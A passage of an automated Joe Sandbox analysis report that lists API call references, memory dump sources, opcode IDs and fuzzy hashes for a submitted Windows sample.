                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                              • String ID: HH
                              • API String ID: 1515696956-2761332787
                              • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                              • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                              • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                              • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                              APIs
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • GetMenuItemInfoW.USER32 ref: 004497EA
                              • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                              • DrawMenuBar.USER32 ref: 00449828
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$InfoItem$Draw_malloc
                              • String ID: 0
                              • API String ID: 772068139-4108050209
                              • Opcode ID: 80c8cc45c3a2388c5d5a2fad2fa293faafe293b1266d5f5cdbd09ec66a21ca10
                              • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                              • Opcode Fuzzy Hash: 80c8cc45c3a2388c5d5a2fad2fa293faafe293b1266d5f5cdbd09ec66a21ca10
                              • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AllocTask_wcslen
                              • String ID: hkG
                              • API String ID: 2651040394-3610518997
                              • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                              • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                              • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                              • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                              APIs
                              • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                              • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: GetSystemWow64DirectoryW$kernel32.dll
                              • API String ID: 2574300362-1816364905
                              • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                              • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                              • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                              • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                              • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpSendEcho
                              • API String ID: 2574300362-58917771
                              • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                              • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                              • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                              • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                              • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpCloseHandle
                              • API String ID: 2574300362-3530519716
                              • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                              • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                              • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                              • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                              APIs
                              • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                              • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: ICMP.DLL$IcmpCreateFile
                              • API String ID: 2574300362-275556492
                              • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                              • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                              • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                              • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                              APIs
                              • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                              • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: IsWow64Process$kernel32.dll
                              • API String ID: 2574300362-3024904723
                              • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                              • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                              • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                              • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClearVariant
                              • String ID:
                              • API String ID: 1473721057-0
                              • Opcode ID: 864e75c6b64c8395072179653f2e6e54ed688e1196af63861ce1262d91a289fa
                              • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                              • Opcode Fuzzy Hash: 864e75c6b64c8395072179653f2e6e54ed688e1196af63861ce1262d91a289fa
                              • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                              APIs
                              • __flush.LIBCMT ref: 00414630
                              • __fileno.LIBCMT ref: 00414650
                              • __locking.LIBCMT ref: 00414657
                              • __flsbuf.LIBCMT ref: 00414682
                                • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                              • String ID:
                              • API String ID: 3240763771-0
                              • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                              • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                              • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                              • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                              APIs
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                              • VariantCopy.OLEAUT32(?,?), ref: 00478259
                              • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                              • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CopyVariant$ErrorLast
                              • String ID:
                              • API String ID: 2286883814-0
                              • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                              • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                              • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                              • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                              APIs
                              • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                              • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                              • #21.WSOCK32 ref: 004740E0
                              • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLast$socket
                              • String ID:
                              • API String ID: 1881357543-0
                              • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                              • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                              • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                              • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                              APIs
                              • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                              • GetWindowRect.USER32(?,?), ref: 00441D5A
                              • PtInRect.USER32(?,?,?), ref: 00441D6F
                              • MessageBeep.USER32(00000000), ref: 00441DF2
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Rect$BeepClientMessageScreenWindow
                              • String ID:
                              • API String ID: 1352109105-0
                              • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                              • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                              • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                              • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                              APIs
                              • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                              • __isleadbyte_l.LIBCMT ref: 004238B2
                              • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                              • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                              • String ID:
                              • API String ID: 3058430110-0
                              • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                              • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                              • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                              • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                              APIs
                              • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                              • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                              • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                              • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateHardLink$DeleteErrorFileLast
                              • String ID:
                              • API String ID: 3321077145-0
                              • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                              • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                              • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                              • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                              APIs
                              • GetParent.USER32(?), ref: 004505BF
                              • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                              • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                              • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Proc$Parent
                              • String ID:
                              • API String ID: 2351499541-0
                              • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                              • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                              • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                              • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                              APIs
                                • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                              • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                              • __itow.LIBCMT ref: 00461461
                              • __itow.LIBCMT ref: 004614AB
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$__itow$_wcslen
                              • String ID:
                              • API String ID: 2875217250-0
                              • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                              • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                              • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                              • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                              APIs
                              • GetForegroundWindow.USER32 ref: 00472806
                                • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                              • GetCaretPos.USER32(?), ref: 0047281A
                              • ClientToScreen.USER32(00000000,?), ref: 00472856
                              • GetForegroundWindow.USER32 ref: 0047285C
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                              • String ID:
                              • API String ID: 2759813231-0
                              • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                              • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                              • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                              • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                              APIs
                                • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                              • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                              • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                              • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                              • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
